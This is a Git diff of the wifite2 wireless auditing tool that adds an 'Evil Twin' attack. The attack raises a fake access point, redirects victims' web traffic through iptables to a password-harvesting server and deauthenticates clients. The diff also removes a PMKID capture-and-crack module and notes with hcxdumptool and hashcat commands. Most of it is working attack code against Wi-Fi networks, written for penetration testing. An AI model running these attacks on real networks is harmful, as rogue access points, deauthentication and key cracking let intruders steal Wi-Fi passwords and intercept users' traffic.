4 Commits

Author SHA1 Message Date
derv82
77e0da3ce7 Fixing hostapd bug 2018-05-27 17:29:02 -04:00
derv82
8e46f6ac01 Merge branch 'master' into eviltwin 2018-05-27 17:17:38 -04:00
derv82
1dcb23659b Fixing eviltwin. Lots of changes. 2018-05-13 12:39:28 -04:00
derv82
94dd02b3ab Adding eviltwin tools, updated args. 2018-04-21 11:44:01 -04:00
56 changed files with 987 additions and 5581 deletions

View File

@@ -3,7 +3,7 @@ FROM python:2.7.14-jessie
ENV DEBIAN_FRONTEND noninteractive ENV DEBIAN_FRONTEND noninteractive
ENV HASHCAT_VERSION hashcat-3.6.0 ENV HASHCAT_VERSION hashcat-3.6.0
# Install requirements # Intall requirements
RUN echo "deb-src http://deb.debian.org/debian jessie main" >> /etc/apt/sources.list RUN echo "deb-src http://deb.debian.org/debian jessie main" >> /etc/apt/sources.list
RUN apt-get update && apt-get upgrade -y RUN apt-get update && apt-get upgrade -y
RUN apt-get install ca-certificates gcc openssl make kmod nano wget p7zip build-essential libsqlite3-dev libpcap0.8-dev libpcap-dev sqlite3 pkg-config libnl-genl-3-dev libssl-dev net-tools iw ethtool usbutils pciutils wireless-tools git curl wget unzip macchanger pyrit tshark -y RUN apt-get install ca-certificates gcc openssl make kmod nano wget p7zip build-essential libsqlite3-dev libpcap0.8-dev libpcap-dev sqlite3 pkg-config libnl-genl-3-dev libssl-dev net-tools iw ethtool usbutils pciutils wireless-tools git curl wget unzip macchanger pyrit tshark -y

View File

@@ -1,33 +0,0 @@
### PMKID Attack
See https://hashcat.net/forum/thread-7717.html
### Steps
1. Start `hcxdumptool` (daemon)
* `sudo hcxdumptool -i wlan1mon -o pmkid.pcapng -t 10 --enable_status=1`
* Should also use `-c <channel>`, `--filterlist` and `--filtermode` to target a specific client
* Could be a new attack type: `wifite.attack.pmkid`
2. Detect when PMKID is found.
* `hcxpcaptool -z pmkid.16800 pmkid.pcapng`
* Single-line in pmkid.16800 will have PMKID, MACAP, MACStation, ESSID (in hex).
3. Save `.16800` file (to `./hs/`? or `./pmkids/`?)
* New result type: `pmkid_result`
* Add entry to `cracked.txt`
4. Run crack attack using hashcat:
* `./hashcat64.bin --force -m 16800 -a0 -w2 path/to/pmkid.16800 path/to/wordlist.txt`
### Problems
* Requires latest hashcat to be installed. This might be in a different directory.
* Use can specify path to hashcat? Yeck...
* % hashcat -h | grep 16800
* 16800 | WPA-PMKID-PBKDF2
* If target can't be attacked... we need to detect this failure mode.
* Might need to scrape `hcxdumptool`'s output
* Look at `pmkids()` func in .bashrc
* hcxpcaptool -z OUTPUT.16800 INPUT.pcapng > /dev/null
* Check OUTPUT.16800 for the ESSID.
* Wireless adapter support is minimal, apparently.
* hcxdumptool also deauths networks and captures handshakes... maybe unnecessarily

View File

@@ -34,7 +34,7 @@ What's gone in Wifite2?
What's not new? What's not new?
--------------- ---------------
* (Mostly) Backwards compatible with the original `wifite`'s arguments. * (Mostly) Backwards compatibile with the original `wifite`'s arguments.
* Same text-based interface everyone knows and loves. * Same text-based interface everyone knows and loves.
Brief Feature List Brief Feature List
@@ -71,7 +71,7 @@ Only the latest versions of these programs are supported:
* `iwconfig`: For identifying wireless devices already in Monitor Mode. * `iwconfig`: For identifying wireless devices already in Monitor Mode.
* `ifconfig`: For starting/stopping wireless devices. * `ifconfig`: For starting/stopping wireless devices.
* `Aircrack-ng` suite, includes: * `Aircrack-ng` suite, includes:
* `aircrack-ng`: For cracking WEP .cap files and WPA handshake captures. * `aircrack-ng`: For cracking WEP .cap files and and WPA handshake captures.
* `aireplay-ng`: For deauthing access points, replaying capture files, various WEP attacks. * `aireplay-ng`: For deauthing access points, replaying capture files, various WEP attacks.
* `airmon-ng`: For enumerating and enabling Monitor Mode on wireless devices. * `airmon-ng`: For enumerating and enabling Monitor Mode on wireless devices.
* `airodump-ng`: For target scanning & capture file generation. * `airodump-ng`: For target scanning & capture file generation.

View File

@@ -11,7 +11,7 @@ When a dependency is not found, Wifite should walk the user through installing a
The dependency-installation walkthrough should provide or auto-execute the install commands (`git clone`, `wget | tar && ./config`, etc). The dependency-installation walkthrough should provide or auto-execute the install commands (`git clone`, `wget | tar && ./config`, etc).
Since we have a Python script for every dependency (under `wifite/tools/` or `wifite/util/`), we use Python's multiple-inheritance to achieve this. Since we have a Python script for every dependency (under `wifite/tools/` or `wifite/util/`), we use Python's multiple-inheritance to achive this.
Requirements: Requirements:
@@ -243,7 +243,7 @@ Not "/py":
**AIRCRACK** **AIRCRACK**
* Start aircrack-ng for WEP: Needs pcap file with IVS * Start aircrack-ng for WEP: Needs pcap file with IVS
* Start aircrack-ng for WPA: Needs pcap file containing Handshake * Start aircrack-ng for WPA: Needs pcap file containig Handshake
* Check status of aircrack-ng (`percenage`, `keys-tried`) * Check status of aircrack-ng (`percenage`, `keys-tried`)
* Return cracked key * Return cracked key

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python
from wifite import wifite from wifite import wifite

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import sys import sys

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import sys import sys

View File

@@ -1,11 +1,10 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import sys import sys
sys.path.insert(0, '..') sys.path.insert(0, '..')
from wifite.model.handshake import Handshake from wifite.model.handshake import Handshake
from wifite.util.process import Process
import unittest import unittest
@@ -24,29 +23,25 @@ class TestHandshake(unittest.TestCase):
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
try: try:
hs.analyze() hs.analyze()
except Exception: except Exception, e:
fail() fail()
@unittest.skipUnless(Process.exists('tshark'), 'tshark is missing')
def testHandshakeTshark(self): def testHandshakeTshark(self):
hs_file = self.getFile('handshake_exists.cap') hs_file = self.getFile('handshake_exists.cap')
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
assert(len(hs.tshark_handshakes()) > 0) assert(len(hs.tshark_handshakes()) > 0)
@unittest.skipUnless(Process.exists('pyrit'), 'pyrit is missing')
def testHandshakePyrit(self): def testHandshakePyrit(self):
hs_file = self.getFile('handshake_exists.cap') hs_file = self.getFile('handshake_exists.cap')
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
assert(len(hs.pyrit_handshakes()) > 0) assert(len(hs.pyrit_handshakes()) > 0)
@unittest.skipUnless(Process.exists('cowpatty'), 'cowpatty is missing')
def testHandshakeCowpatty(self): def testHandshakeCowpatty(self):
hs_file = self.getFile('handshake_exists.cap') hs_file = self.getFile('handshake_exists.cap')
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
hs.divine_bssid_and_essid() hs.divine_bssid_and_essid()
assert(len(hs.cowpatty_handshakes()) > 0) assert(len(hs.cowpatty_handshakes()) > 0)
@unittest.skipUnless(Process.exists('aircrack-ng'), 'aircrack-ng is missing')
def testHandshakeAircrack(self): def testHandshakeAircrack(self):
hs_file = self.getFile('handshake_exists.cap') hs_file = self.getFile('handshake_exists.cap')
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from wifite.tools.airodump import Airodump from wifite.tools.airodump import Airodump

0
wifite/__init__.py Executable file → Normal file
View File

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .util.color import Color from .util.color import Color
@@ -148,12 +148,20 @@ class Arguments(object):
def _add_eviltwin_args(self, group): def _add_eviltwin_args(self, group):
group.add_argument('-ev', group.add_argument('-et',
'--eviltwin', '--eviltwin',
action='store_true', action='store_true',
dest='use_eviltwin', dest='use_eviltwin',
help=Color.s('Use the "Evil Twin" attack against all targets (default: {G}off{W})')) help=Color.s('Use the "Evil Twin" attack against all targets (default: {G}off{W})'))
# TODO: Args to specify deauth interface, server port, etc.
group.add_argument('-eti',
'--evitwin-iface',
type=str,
dest='eviltwin_iface',
metavar='[iface]',
default=None,
help=Color.s('Wireless interface to use when creating the Fake AP (evil twin)'))
# TODO: Args to specify other options (server port, etc).
def _add_wep_args(self, wep): def _add_wep_args(self, wep):

0
wifite/attack/__init__.py Executable file → Normal file
View File

View File

@@ -1,105 +0,0 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .wep import AttackWEP
from .wpa import AttackWPA
from .wps import AttackWPS
from .pmkid import AttackPMKID
from ..config import Configuration
from ..util.color import Color
from ..util.input import raw_input
class AttackAll(object):
@classmethod
def attack_multiple(cls, targets):
attacked_targets = 0
targets_remaining = len(targets)
for index, target in enumerate(targets, start=1):
attacked_targets += 1
targets_remaining -= 1
bssid = target.bssid
essid = target.essid if target.essid_known else "{O}ESSID unknown{W}"
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index, len(targets)) +
' starting attacks against {C}%s{W} ({C}%s{W})' % (bssid, essid))
should_continue = cls.attack_single(target, targets_remaining)
if not should_continue:
break
return attacked_targets
@classmethod
def attack_single(cls, target, targets_remaining):
attacks = []
if Configuration.use_eviltwin:
pass # TODO:EvilTwin attack
elif 'WEP' in target.encryption:
attacks.append(AttackWEP(target))
elif 'WPA' in target.encryption:
# WPA can have multiple attack vectors
if target.wps:
attacks.append(AttackWPS(target))
attacks.append(AttackPMKID(target))
attacks.append(AttackWPA(target))
if len(attacks) == 0:
Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA")
return
for attack in attacks:
try:
result = attack.run()
if result:
break # Attack was successful, stop other attacks.
except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{W}{!} {W} ')
err = err.replace(' File', '{W}{D}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
continue
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n')
if not cls.user_wants_to_continue(targets_remaining, 1):
return False # Stop attacking other targets
if attack.success:
attack.crack_result.save()
return True # Keep attacking other targets
@classmethod
def user_wants_to_continue(cls, targets_remaining, attacks_remaining=0):
''' Asks user if attacks should continue onto other targets '''
if attacks_remaining == 0 and targets_remaining == 0:
# No targets or attacksleft, drop out
return
prompt_list = []
if attacks_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining))
if targets_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining))
prompt = ' and '.join(prompt_list)
Color.pl('{+} %s remain, do you want to continue?' % prompt)
prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' +
' or {R}s{W} to {R}stop{W}: ')
if raw_input(prompt).lower().startswith('s'):
return False
else:
return True

224
wifite/attack/eviltwin.py Normal file
View File

@@ -0,0 +1,224 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import time
from ..model.attack import Attack
from ..tools.airodump import Airodump
from ..tools.dnsmasq import Dnsmasq
from ..tools.hostapd import Hostapd
from ..tools.ifconfig import Ifconfig
from ..tools.iptables import Iptables
from ..tools.eviltwin_server import EviltwinServer
from ..util.color import Color
from ..util.deauther import Deauther
from ..config import Configuration
class EvilTwinAttack(Attack):
'''
Monitor-mode card should be used for deauthing (packet injection).
Other card can be put into AP mode.
'''
def __init__(self, target, deauth_iface, ap_iface):
super(EvilTwinAttack, self).__init__(target)
# Args
self.target = target
self.deauth_iface = deauth_iface
self.ap_iface = ap_iface
# State
self.success = False
self.completed = False
self.crack_result = None
self.error_msg = None
# Processes
self.hostapd = None
self.dnsmasq = None
self.webserver = None
self.deauther = None
def run(self):
#raise Exception('Eviltwin attack not implemented yet, see https://github.com/derv82/wifite2/issues/81')
# Start airodump on deuath iface, wait for target, etc.
try:
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wps=True, # Don't check for WPS-compatibility
output_file_prefix='airodump') as airodump:
Color.clear_line()
Color.p('\r{+} {O}waiting{W} for target to appear...')
airodump_target = self.wait_for_target(airodump)
Color.clear_entire_line()
self.pattack(airodump_target, 'setting up {C}%s{W}' % self.ap_iface)
Ifconfig.up(self.ap_iface, ['10.0.0.1/24'])
Color.clear_entire_line()
self.pattack(airodump_target, 'configuring {C}iptables{W}')
self.configure_iptables(self.ap_iface)
Color.clear_entire_line()
self.pattack(airodump_target, 'enabling {C}port forwarding{W}')
self.set_port_forwarding(enabled=True)
Color.clear_entire_line()
self.pattack(airodump_target, 'starting {C}hostapd{W} on {C}%s{W}' % self.ap_iface)
self.hostapd = Hostapd(self.target, self.ap_iface)
self.hostapd.start()
Color.clear_entire_line()
self.pattack(airodump_target, 'starting {C}dnsmasq{W} on {C}%s{W}' % self.ap_iface)
self.dnsmasq = Dnsmasq(self.ap_iface)
self.dnsmasq.start()
Color.clear_entire_line()
self.pattack(airodump_target, 'starting {C}evil webserver{W}...')
self.webserver = EviltwinServer(self.success_callback, self.error_callback)
self.webserver.start()
Color.clear_entire_line()
self.pattack(airodump_target, 'starting {C}deauther{W}...')
self.deauther = Deauther(self.deauth_iface, self.target)
#self.deauther.start()
Color.clear_entire_line()
while not self.completed:
time.sleep(1)
airodump_target = self.wait_for_target(airodump)
# TODO: Check hostapd, dnsmasq, and webserver statistics
self.pattack(airodump_target, 'waiting for clients')
# Update deauther with latest client information
self.deauther.update_target(airodump_target)
except KeyboardInterrupt:
# Cleanup
Color.pl('\n{!} {O}Interrupted{W}')
if self.success:
# TODO: print status & save
self.cleanup()
return
if self.error_msg:
self.cleanup()
raise Exception(self.error_msg)
self.cleanup()
def pattack(self, airodump_target, status):
Color.pattack('EvilTwin', airodump_target, 'attack', status)
def success_callback(self, crack_result):
# Called by webserver when we get a password
self.crack_result = crack_result
self.success = True
self.completed = True
def status_callback(self, status_message):
# Called by webserver on status update
pass
def error_callback(self, error_msg):
# Called by webserver on error / failure
self.completed = True
self.error_msg = error_msg
def cleanup(self):
if self.dnsmasq:
self.dnsmasq.stop()
if self.hostapd:
self.hostapd.stop()
if self.webserver:
self.webserver.stop()
# From https://stackoverflow.com/a/268686
if self.deauther:
self.deauther.stop()
self.set_port_forwarding(enabled=False)
Iptables.flush() #iptables -F
Iptables.flush(table='nat') #iptables -t nat -F
Iptables.flush(table='mangle') #iptables -t mangle -F
Iptables.delete_chain() #iptables -X
Iptables.delete_chain(table='nat') #iptables -t nat -X
Iptables.delete_chain(table='mangle') #iptables -t mangle -X
def set_port_forwarding(self, enabled=True):
# echo "1" > /proc/sys/net/ipv4/ip_forward
# TODO: Are there other/better ways to do this?
with open('/proc/sys/net/ipv4/ip_forward', 'w') as ip_forward:
ip_forward.write('1' if enabled else '0')
def configure_iptables(self, interface):
# iptables -N internet -t mangle
Iptables.new_chain('internet', 'mangle')
#iptables -t mangle -A PREROUTING -j internet
Iptables.append('PREROUTING', table='mangle', rules=[
'-j', 'internet'
])
#iptables -t mangle -A internet -j MARK --set-mark 99
Iptables.append('PREROUTING', table='mangle', rules=[
'-j', 'MARK',
'--set-mark', '99',
])
#iptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1
Iptables.append('PREROUTING', table='nat', rules=[
'--match', 'mark',
'--mark', '99',
'--protocol', 'tcp',
'--dport', '80',
'--jump', 'DNAT',
'--to-destination', '10.0.0.1',
])
#iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT
Iptables.append('FORWARD', rules=[
'--in-interface', 'eth0',
'--out-interface', interface,
'--match', 'state',
'--state', 'ESTABLISHED,RELATED',
'--jump', 'ACCEPT',
])
#iptables -A FORWARD -m mark --mark 99 -j REJECT
Iptables.append('FORWARD', rules=[
'--match', 'mark',
'--mark', '99',
'--jump', 'REJECT',
])
#iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
Iptables.append('FORWARD', rules=[
'--in-interface', interface,
'--out-interface', 'eth0',
'--jump', 'ACCEPT',
])
#iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Iptables.append('POSTROUTING', table='nat', rules=[
'--out-interface', 'eth0',
'--jump', 'MASQUERADE',
])

View File

@@ -1,190 +0,0 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..model.attack import Attack
from ..config import Configuration
from ..tools.hashcat import HcxDumpTool, HcxPcapTool, Hashcat
from ..util.color import Color
from ..util.process import Process
from ..util.timer import Timer
from ..model.pmkid_result import CrackResultPMKID
from threading import Thread
import os
import time
import re
class AttackPMKID(Attack):
def __init__(self, target):
super(AttackPMKID, self).__init__(target)
self.crack_result = None
self.success = False
self.pcapng_file = Configuration.temp('pmkid.pcapng')
def get_existing_pmkid_file(self, bssid):
'''
Load PMKID Hash from a previously-captured hash in ./hs/
Returns:
The hashcat hash (hash*bssid*station*essid) if found.
None if not found.
'''
if not os.path.exists(Configuration.wpa_handshake_dir):
return None
bssid = bssid.lower().replace(':', '')
file_re = re.compile('.*pmkid_.*\.16800')
for filename in os.listdir(Configuration.wpa_handshake_dir):
pmkid_filename = os.path.join(Configuration.wpa_handshake_dir, filename)
if not os.path.isfile(pmkid_filename):
continue
if not re.match(file_re, pmkid_filename):
continue
with open(pmkid_filename, 'r') as pmkid_handle:
pmkid_hash = pmkid_handle.read().strip()
if pmkid_hash.count('*') < 3:
continue
existing_bssid = pmkid_hash.split('*')[1].lower().replace(':', '')
if existing_bssid == bssid:
return pmkid_filename
return None
def run(self):
# TODO: Check that we have all hashcat programs
dependencies = [
Hashcat.dependency_name,
HcxDumpTool.dependency_name,
HcxPcapTool.dependency_name
]
missing_deps = [dep for dep in dependencies if not Process.exists(dep)]
if len(missing_deps) > 0:
Color.pl('{!} Skipping PMKID attack, missing required tools: {O}%s{W}' % ', '.join(missing_deps))
return False
pmkid_file = None
# Load exisitng has from filesystem
if Configuration.ignore_old_handshakes == False:
pmkid_file = self.get_existing_pmkid_file(self.target.bssid)
if pmkid_file is not None:
Color.pattack('PMKID', self.target, 'CAPTURE',
'Loaded {C}existing{W} PMKID hash: {C}%s{W}\n' % pmkid_file)
# Capture hash from live target.
if pmkid_file is None:
pmkid_file = self.capture_pmkid()
if pmkid_file is None:
return False # No hash found.
# Crack it.
self.success = self.crack_pmkid_file(pmkid_file)
return True # Even if we don't crack it, capturing a PMKID is "successful"
def capture_pmkid(self):
self.keep_capturing = True
self.timer = Timer(60)
# Start hcxdumptool
t = Thread(target=self.dumptool_thread)
t.start()
# Repeatedly run pcaptool & check output for hash for self.target.essid
pmkid_hash = None
pcaptool = HcxPcapTool(self.target)
while self.timer.remaining() > 0:
pmkid_hash = pcaptool.get_pmkid_hash(self.pcapng_file)
if pmkid_hash is not None:
break # Got PMKID
Color.pattack('PMKID', self.target, 'CAPTURE',
'Waiting for PMKID ({C}%s{W})' % str(self.timer))
time.sleep(1)
self.keep_capturing = False
if pmkid_hash is None:
Color.pattack('PMKID', self.target, 'CAPTURE',
'{R}Failed{O} to capture PMKID\n')
Color.pl("")
return None # No hash found.
Color.clear_entire_line()
Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}')
pmkid_file = self.save_pmkid(pmkid_hash)
return pmkid_file
def crack_pmkid_file(self, pmkid_file):
'''
Cracks file containing PMKID hash (*.16800).
If cracked, saves results in self.crack_result
Returns:
True if cracked, False otherwise.
'''
# Check that wordlist exists before cracking.
if Configuration.wordlist is None:
Color.pl('\n{!} {O}Not cracking because {R}wordlist{O} is not found.')
Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.')
key = None
else:
Color.clear_entire_line()
Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID...\n')
key = Hashcat.crack_pmkid(pmkid_file)
if key is None:
# Failed to crack.
Color.clear_entire_line()
Color.pattack('PMKID', self.target, '{R}CRACK',
'{R}Failed{O} to crack PMKID\n')
Color.pl("")
return False
else:
# Successfully cracked.
Color.clear_entire_line()
Color.pattack('PMKID', self.target, 'CRACKED', '{C}Key: {G}%s{W}' % key)
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid,
pmkid_file, key)
Color.pl('\n')
self.crack_result.dump()
return True
def dumptool_thread(self):
dumptool = HcxDumpTool(self.target, self.pcapng_file)
# Let the dump tool run until we have the hash.
while self.keep_capturing and dumptool.poll() == None:
time.sleep(0.5)
dumptool.interrupt()
def save_pmkid(self, pmkid_hash):
'''
Saves a copy of the pmkid (handshake) to hs/
'''
# Create handshake dir
if not os.path.exists(Configuration.wpa_handshake_dir):
os.mkdir(Configuration.wpa_handshake_dir)
# Generate filesystem-safe filename from bssid, essid and date
essid_safe = re.sub('[^a-zA-Z0-9]', '', self.target.essid)
bssid_safe = self.target.bssid.replace(':', '-')
date = time.strftime('%Y-%m-%dT%H-%M-%S')
pmkid_file = 'pmkid_%s_%s_%s.16800' % (essid_safe, bssid_safe, date)
pmkid_file = os.path.join(Configuration.wpa_handshake_dir, pmkid_file)
Color.p('\n{+} Saving copy of {C}PMKID Hash{W} to {C}%s{W} ' % pmkid_file)
with open(pmkid_file, 'w') as pmkid_handle:
pmkid_handle.write(pmkid_hash)
pmkid_handle.write('\n')
return pmkid_file

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..model.attack import Attack from ..model.attack import Attack
@@ -29,7 +29,7 @@ class AttackWEP(Attack):
''' '''
Initiates full WEP attack. Initiates full WEP attack.
Including airodump-ng starting, cracking, etc. Including airodump-ng starting, cracking, etc.
Returns: True if attack is successful, false otherwise Returns: True if attack is succesful, false otherwise
''' '''
aircrack = None # Aircrack process, not started yet aircrack = None # Aircrack process, not started yet
@@ -340,7 +340,7 @@ class AttackWEP(Attack):
''' '''
Attempts to fake-authenticate with target. Attempts to fake-authenticate with target.
Returns: True if successful, Returns: True if successful,
False is unsuccessful. False is unsuccesful.
''' '''
Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid) Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid)
fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait) fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait)
@@ -349,7 +349,7 @@ class AttackWEP(Attack):
else: else:
Color.pl(' {R}failed{W}') Color.pl(' {R}failed{W}')
if Configuration.require_fakeauth: if Configuration.require_fakeauth:
# Fakeauth is required, fail # Fakeauth is requried, fail
raise Exception( raise Exception(
'Fake-authenticate did not complete within' + 'Fake-authenticate did not complete within' +
' %d seconds' % AttackWEP.fakeauth_wait) ' %d seconds' % AttackWEP.fakeauth_wait)

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..model.attack import Attack from ..model.attack import Attack
@@ -25,7 +25,7 @@ class AttackWPA(Attack):
def run(self): def run(self):
''' '''
Initiates full WPA handshake capture attack. Initiates full WPA hanshake capture attack.
''' '''
# Check if user only wants to run PixieDust attack # Check if user only wants to run PixieDust attack
@@ -34,8 +34,11 @@ class AttackWPA(Attack):
self.success = False self.success = False
return self.success return self.success
# Capture the handshake (or use an old one) handshake = None
handshake = self.capture_handshake()
# Capture the handshake ("do it live!")
if handshake is None:
handshake = self.capture_handshake()
if handshake is None: if handshake is None:
# Failed to capture handshake # Failed to capture handshake
@@ -184,8 +187,8 @@ class AttackWPA(Attack):
current_key = '' current_key = ''
while crack_proc.poll() is None: while crack_proc.poll() is None:
line = crack_proc.pid.stdout.readline() line = crack_proc.pid.stdout.readline()
match_nums = aircrack_nums_re.search(line.decode('utf-8')) match_nums = aircrack_nums_re.search(line)
match_keys = aircrack_key_re.search(line.decode('utf-8')) match_keys = aircrack_key_re.search(line)
if match_nums: if match_nums:
num_tried = int(match_nums.group(1)) num_tried = int(match_nums.group(1))
num_total = int(match_nums.group(2)) num_total = int(match_nums.group(2))
@@ -250,10 +253,7 @@ class AttackWPA(Attack):
os.mkdir(Configuration.wpa_handshake_dir) os.mkdir(Configuration.wpa_handshake_dir)
# Generate filesystem-safe filename from bssid, essid and date # Generate filesystem-safe filename from bssid, essid and date
if handshake.essid and type(handshake.essid) is str: essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
else:
essid_safe = 'UnknownEssid'
bssid_safe = handshake.bssid.replace(':', '-') bssid_safe = handshake.bssid.replace(':', '-')
date = time.strftime('%Y-%m-%dT%H-%M-%S') date = time.strftime('%Y-%m-%dT%H-%M-%S')
cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date) cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date)

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..model.attack import Attack from ..model.attack import Attack

View File

@@ -1,14 +1,16 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import os import os
from .util.color import Color from .util.color import Color
from .util.input import raw_input
from .tools.iwconfig import Iwconfig
from .tools.macchanger import Macchanger from .tools.macchanger import Macchanger
class Configuration(object): class Configuration(object):
''' Stores configuration variables and functions for Wifite. ''' ''' Stores configuration variables and functions for Wifite. '''
version = '2.1.8' version = '2.1.5'
initialized = False # Flag indicating config has been initialized initialized = False # Flag indicating config has been initialized
temp_dir = None # Temporary directory temp_dir = None # Temporary directory
@@ -55,8 +57,7 @@ class Configuration(object):
# EvilTwin variables # EvilTwin variables
cls.use_eviltwin = False cls.use_eviltwin = False
cls.eviltwin_port = 80 cls.eviltwin_port = 80
cls.eviltwin_deauth_iface = None cls.eviltwin_iface = None
cls.eviltwin_fakeap_iface = None
# WEP variables # WEP variables
cls.wep_filter = False # Only attack WEP networks cls.wep_filter = False # Only attack WEP networks
@@ -83,7 +84,6 @@ class Configuration(object):
# Default dictionary for cracking # Default dictionary for cracking
cls.wordlist = None cls.wordlist = None
wordlists = [ wordlists = [
'./wordlist-top4800-probable.txt',
'/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
'/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
'/usr/share/wordlists/fern-wifi/common.txt' '/usr/share/wordlists/fern-wifi/common.txt'
@@ -123,9 +123,52 @@ class Configuration(object):
if cls.random_mac: if cls.random_mac:
Macchanger.random() Macchanger.random()
@staticmethod @classmethod
def get_wireless_interface(): def get_eviltwin_interface(cls):
pass if cls.eviltwin_iface is None:
Color.pl('\n{+} {G}Evil Twin attack{W}')
Color.p('{+} looking for wireless interfaces in "Managed" mode... ')
ifaces = Iwconfig.get_interfaces(mode='Managed')
if len(ifaces) == 0:
Color.pl('\n{!} {O}no other wireless interfaces in "Managed" mode!{W}')
raise Exception('eviltwin attack requires two wireless cards (1 monitor-mode, 1 managed-mode)')
Color.clear_entire_line()
while True:
# Ask user to select eviltwin interface
Color.pl(' select the interface for the {C}evil twin{W} access point:')
for index, iface in enumerate(ifaces, start=1):
Color.pl(' {G}%d{W}. {C}%s{W}' % (index, iface))
question = '{+} enter number ({G}'
if len(ifaces) == 1:
question += '1'
else:
question += '1-%d' % len(ifaces)
question += '{W}): '
selection = raw_input(Color.s(question))
if selection.strip() in ifaces:
selection = str(ifaces.index(selection.strip()) + 1)
elif not selection.isdigit():
Color.pl('\n{!} {O}selection must be numeric{W}')
continue
selection = int(selection)
if selection < 1 or selection > len(ifaces):
Color.pl('\n{!} {O}selection must be between {R}1{O} and {R}%d{W}' % len(ifaces))
continue
break
cls.eviltwin_iface = ifaces[selection - 1]
return cls.eviltwin_iface
@classmethod @classmethod
def load_from_arguments(cls): def load_from_arguments(cls):
@@ -176,10 +219,23 @@ class Configuration(object):
cls.kill_conflicting_processes = True cls.kill_conflicting_processes = True
Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}') Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}')
# EvilTwin # EvilTwin
if args.eviltwin_iface:
# Check that eviltwin_iface exists in iwconfig
existing_ifaces = Iwconfig.get_interfaces()
if args.eviltwin_iface not in existing_ifaces:
raise Exception('Interface "%s" was not found by iwconfig (found %s)' % (args.eviltwin_iface, ','.join(existing_ifaces)))
# TODO: Put device into managed mode?
cls.eviltwin_iface = args.eviltwin_iface
Color.pl('{+} {C}option:{W} using {G}%s{W} to create fake AP for evil twin attacks' % cls.eviltwin_iface)
if args.use_eviltwin: if args.use_eviltwin:
# TODO: Or ask user to select a different wireless device?
cls.use_eviltwin = True cls.use_eviltwin = True
